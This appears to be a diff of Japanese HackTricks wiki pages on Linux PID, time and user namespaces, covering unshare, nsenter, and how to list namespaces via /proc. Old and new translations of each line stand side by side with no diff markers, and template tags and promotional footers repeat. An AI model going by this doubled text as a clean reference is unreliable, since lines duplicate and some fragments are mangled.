* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## 基本情報
PIDプロセス識別子ネームスペースは、Linuxカーネルの機能であり、一群のプロセスが他のネームスペースのPIDとは独立した一意のPIDセットを持つことを可能にすることで、プロセスの分離を提供します。これは、プロセスの分離がセキュリティとリソース管理に不可欠なコンテナ化に特に役立ちます。
PIDプロセス識別子名前空間は、Linuxカーネルの機能であり、プロセスの隔離を提供します。これにより、一群のプロセスが他の名前空間のPIDとは別に独自の一意のPIDセットを持つことができます。これは、プロセスの隔離がセキュリティとリソース管理に不可欠なコンテナ化に特に役立ちます。
新しいPIDネームスペースが作成されると、そのネームスペース内の最初のプロセスにはPID 1が割り当てられます。このプロセスは新しいネームスペースの「init」プロセスとなり、そのネームスペース内の他のプロセスを管理する責任があります。ネームスペース内で作成される各後続プロセスは、そのネームスペース内で一意のPIDを持ち、これらのPIDは他のネームスペースのPIDとは独立しています。
新しいPID名前空間が作成されると、その名前空間内の最初のプロセスにはPID 1が割り当てられます。このプロセスは新しい名前空間の「init」プロセスとなり、その名前空間内の他のプロセスを管理する責任を負います。名前空間内で作成される各後続プロセスは、その名前空間内で一意のPIDを持ち、これらのPIDは他の名前空間のPIDとは独立しています。
PIDネームスペース内のプロセスの視点からは、同じネームスペース内の他のプロセスしか見ることができません。他のネームスペース内のプロセスには気づかず、従来のプロセス管理ツール(例:`kill`、`wait`など)を使用してそれらとやり取りすることはできません。これにより、プロセスが互いに干渉するのを防ぐ一定の分離レベルが提供されます。
PID名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを見ることができます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール(例:`kill`、`wait`など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。
### 動作原理
### 仕組み
1. 新しいプロセスが作成されると(たとえば、`clone()`システムコールを使用して、そのプロセスは新しいまたは既存のPIDネームスペースに割り当てることができます。**新しいネームスペースが作成されると、そのプロセスはそのネームスペースの「init」プロセスとなります**。
2. **カーネル**は、新しいネームスペース内のPIDと親ネームスペースつまり、新しいネームスペースが作成されたネームスペース内の対応するPIDとの**マッピングを維持**します。このマッピングにより、異なるネームスペース内のプロセス間でシグナルを送信する必要がある場合など、**カーネルがPIDを変換できるようになります**
3. **PIDネームスペース内のプロセスは、同じネームスペース内の他のプロセスしか見ることができず、それらとやり取りすることができます**。他のネームスペース内のプロセスには気づかず、そのPIDはネームスペース内で一意です。
4. **PIDネームスペースが破棄されると**たとえば、ネームスペースの「init」プロセスが終了すると、**そのネームスペース内のすべてのプロセスが終了**します。これにより、ネームスペースに関連するすべてのリソースが適切にクリーンアップされます。
1. 新しいプロセスが作成されると(例:`clone()`システムコールを使用して、そのプロセスは新しいまたは既存のPID名前空間に割り当てられます。**新しい名前空間が作成されると、そのプロセスはその名前空間の「init」プロセスになります**。
2. **カーネルは新しい名前空間内のPIDと親名前空間内の対応するPIDとの間のマッピングを維持します**(つまり、新しい名前空間が作成された親名前空間)。このマッピングは、**カーネルが必要に応じてPIDを変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです
3. **PID名前空間内のプロセスは、同じ名前空間内の他のプロセスのみを見ることができ、相互作用できます**。他の名前空間のプロセスを認識せず、そのPIDは自分の名前空間内で一意です。
4. **PID名前空間が破棄されると**名前空間の「init」プロセスが終了すると、**その名前空間内のすべてのプロセスが終了します**。これにより、名前空間に関連するすべてのリソースが適切にクリーンアップされます。
## Lab:
## ラボ:
### 異なるネームスペースを作成する
### 異なる名前空間を作成する
#### CLI
```bash
@ -39,38 +41,38 @@ sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
<summary>Error: bash: fork: Cannot allocate memory</summary>
`unshare`を`-f`オプションなしで実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に概説されています:
`unshare`を`-f`オプションなしで実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。以下に重要な詳細と解決策を示します。
1. **問題の説明**:
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1により、名前空間のクリーンアップがトリガーされます。その後、Linuxカーネルはその名前空間でのPID割り当てを無効にします。
- Linuxカーネルは、プロセスが`unshare`システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入ることはなく、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`unshare`と同じプロセスで`/bin/bash`が開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間に存在します。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1は孤児プロセスを引き取る特別な役割を持っています。Linuxカーネルはその名前空間でのPID割り当てを無効にします。
2. **結果**:
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「メモリを割り当てることができません」というエラーが発生します。
- 新しい名前空間内のPID 1の終了は、`PIDNS_HASH_ADDING`フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てることに失敗し、「Cannot allocate memory」エラーが発生します。
3. **解決策**:
- `unshare`に`-f`オプションを使用することで問題を解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間でPID 1になります。その後、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1の早期終了を防ぎ、正常なPID割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作るようになります。
`unshare`が`-f`フラグで実行されることを確することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報の正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有の**プロセス情報の正確で孤立したビューを持つ**ことが保証されます。
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### すべてのPIDネームスペースを見つける
### すべてのPID名前空間を見つける
{% code overflow="wrap" %}
```bash
@ -78,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
```
{% endcode %}
ルートユーザーは初期デフォルトのPIDネームスペースからすべてのプロセスを見ることができます。新しいPIDネームスペース内のプロセスも見ることができるため、すべてのPIDネームスペースを見ることができます。
初期デフォルトPID名前空間からのrootユーザーは、新しいPID名前空間内のプロセスを含むすべてのプロセスを見ることができるため、すべてのPID名前空間を見ることができます。
### PIDネームスペースに入る
### PID名前空間内に入る
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
PIDネームスペースからデフォルトのネームスペースに入ると、すべてのプロセスを見ることができます。そして、そのPIDネームスペースからのプロセスは、PIDネームスペース上の新しいbashを見ることができます。
PID名前空間にデフォルトの名前空間から入ると、すべてのプロセスを見ることができます。そして、そのPID nsのプロセスはPID nsの新しいbashを見ることができます。
また、**rootユーザーでないと**、**他のプロセスのPIDネームスペースに入ることはできません**。そして、(`/proc/self/ns/pid`のような)それを指す記述子なしには、**他のネームスペースに入ることはできません**
また、**あなたがrootでない限り、他のプロセスのPID名前空間に入ることはできません**。そして、**それに指し示すディスクリプタなしに他の名前空間に** **入ることはできません**(例えば、`/proc/self/ns/pid`のように)
## 参考文献
## References
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,52 +1,61 @@
# タイムネームスペース
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
Linuxのタイムネームスペースは、システムの単調増加時計と起動時刻クロックに対するネームスペースごとのオフセットを可能にします。Linuxコンテナでは、コンテナ内の日付/時刻を変更し、チェックポイントやスナップショットから復元した後にクロックを調整するために一般的に使用されます。
Linuxのタイムネームスペースは、システムのモノトニックおよびブートタイムクロックに対する名前空間ごとのオフセットを許可します。これは、コンテナ内の日付/時刻を変更し、チェックポイントまたはスナップショットから復元した後にクロックを調整するために、Linuxコンテナで一般的に使用されます。
## Lab:
## ラボ:
### 異なるネームスペースを作成
### 異なるネームスペースを作成する
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
`--mount-proc` パラメータを使用して `/proc` ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てできません</summary>
`-f` オプションを指定せずに `unshare` を実行すると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に示されています:
`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linux カーネルは、`unshare` システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しい PID 名前空間の作成を開始するプロセス("unshare" プロセスと呼ばれる)は、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`/bin/bash` が `unshare` と同じプロセスで開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間にあります。
- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 により、名前空間のクリーンアップがトリガーされます。その後、Linux カーネルはその名前空間での PID 割り当てを無効にします。
- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス「unshare」プロセスと呼ばれるは新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash`開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内の PID 1 の終了により、`PIDNS_HASH_ADDING` フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てられなくなり、"Cannot allocate memory" エラーが発生します。
- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
3. **解決策**:
- `unshare``-f` オプションを使用することで問題を解決できます。このオプションにより、`unshare` は新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間で PID 1 になります。その後、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に含まれ、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
- この問題は、`unshare``-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare``-f` フラグとともに実行されることで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
`unshare``-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
</details>
@ -54,12 +63,12 @@ sudo unshare -T [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;あなたのプロセスがどの名前空間にあるかを確認しま
### &#x20;プロセスがどの名前空間にあるかを確認す
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### すべてのTime namespacesを見つける
### すべてのタイムネームスペースを見つける
{% code overflow="wrap" %}
```bash
@ -67,28 +76,39 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### 時間名前空間に入る
{% endcode %}
### タイムネームスペースに入る
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
また、**rootユーザーでないと他のプロセスの名前空間に入ることはできません**。そして、他の名前空間に**ディスクリプタ**が指すことなしに**入ることはできません**(例:`/proc/self/ns/net`)。
## 参考文献
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
{% endhint %}
</details>
{% endhint %}

View file

@ -1,33 +1,40 @@
# ユーザー名前空間
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 基本情報
ユーザー名前空間は、Linuxカーネルの機能であり、**ユーザーとグループIDのマッピングを分離**し、各ユーザー名前空間が**独自のユーザーとグループIDセット**を持つことを可能にする。この分離により、異なるユーザー名前空間で実行されるプロセスは、数値的に同じユーザーとグループIDを共有していても、**異なる特権と所有権**を持つことができる。
ユーザー名前空間は、**ユーザーおよびグループIDマッピングの隔離を提供する**Linuxカーネルの機能であり、各ユーザー名前空間が**独自のユーザーおよびグループIDのセット**を持つことを可能にします。この隔離により、異なるユーザー名前空間で実行されるプロセスは、同じユーザーおよびグループIDを数値的に共有していても、**異なる特権と所有権を持つことができます**
ユーザー名前空間は、コンテナ化において特に有用であり、各コンテナが独自のユーザーとグループIDセットを持ち、コンテナとホストシステムの間のセキュリティと分離が向上する。
ユーザー名前空間は、各コンテナが独自の独立したユーザーおよびグループIDのセットを持つべきコンテナ化に特に役立ち、コンテナとホストシステム間のセキュリティと隔離を向上させます
### 動作方法:
### 仕組み:
1. 新しいユーザー名前空間が作成されると、**空のユーザーとグループIDマッピングセット**で開始される。これは、新しいユーザー名前空間で実行されるプロセスは、**初めは名前空間外で特権を持たない**ことを意味する
2. IDマッピングは、新しい名前空間内のユーザーとグループIDと親またはホスト名前空間内のそれらとの間に確立される。これにより、新しい名前空間内のプロセスが、親名前空間内のユーザーとグループIDに対応する特権と所有権を持つことができる。ただし、IDマッピングは特定の範囲やIDのサブセットに制限することができ、新しい名前空間内のプロセスに付与される特権を細かく制御することができる
3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権UID 0を持つ**ことができ、名前空間外では制限された特権を持つ。これにより、**コンテナはホストシステムで完全なルート特権を持たずに、自の名前空間内でルートのような機能を実行**することができる
4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグとともに使用して新しい名前空間を作成したりすることができる。プロセスが新しい名前空間に移動したり作成したりすると、その名前空間に関連付けられたユーザーとグループIDマッピングが使用される
1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから始まります**。これは、新しいユーザー名前空間で実行されるプロセスが**名前空間の外で特権を持たないことを意味します**
2. 新しい名前空間のユーザーおよびグループIDと親またはホスト名前空間のIDとの間にIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、名前空間内のプロセスに付与される特権を細かく制御できます
3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権UID 0を持つことができます**が、名前空間の外では制限された特権を持ちます。これにより、**コンテナはホストシステムで完全なルート特権を持たずに、自の名前空間内でルートのような機能を持って実行できます**。
4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUSER`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます
## Lab:
## ラボ:
### 異なる名前空間を作成する
@ -35,27 +42,27 @@ HackTricksをサポートする他の方法:
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
`--mount-proc`パラメータを使用して`/proc`ファイルシステムの新しいインスタンスをマウントすることで、新しいマウント名前空間がその名前空間固有のプロセス情報に正確で隔離されたビューを持つことが保証されます。
新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウント名前空間がその名前空間に特有のプロセス情報の **正確で隔離されたビュー** を持つことを保証します。
<details>
<summary>エラー: bash: fork: Cannot allocate memory</summary>
<summary>エラー: bash: fork: メモリを割り当てることができません</summary>
`unshare`を`-f`オプションなしで実行すると、Linuxが新しいPIDプロセスID名前空間を処理する方法によりエラーが発生します。主要な詳細と解決策は以下に概説されています:
`unshare``-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
- Linuxカーネルは、`unshare`システムコールを使用してプロセスが新しい名前空間を作成することを許可します。ただし、新しいPID名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは、新しい名前空間に入りません。その子プロセスのみが入ります。
- `%unshare -p /bin/bash%`を実行すると、`/bin/bash`が`unshare`と同じプロセスで開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間にあります。
- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他のプロセスがいない場合、孤児プロセスを引き取る特別な役割を持つPID 1が名前空間のクリーンアップをトリガーします。その後、Linuxカーネルはその名前空間でのPID割り当てを無効にします。
1. **問題の説明**
- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス「unshare」プロセスと呼ばれるは新しい名前空間に入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 により名前空間のクリーンアップがトリガーされます。Linux カーネルはその名前空間での PID 割り当てを無効にします。
2. **結果**:
- 新しい名前空間内のPID 1の終了により、`PIDNS_HASH_ADDING`フラグのクリーニングが行われます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てられなくなり、「Cannot allocate memory」エラーが発生します。
2. **結果**
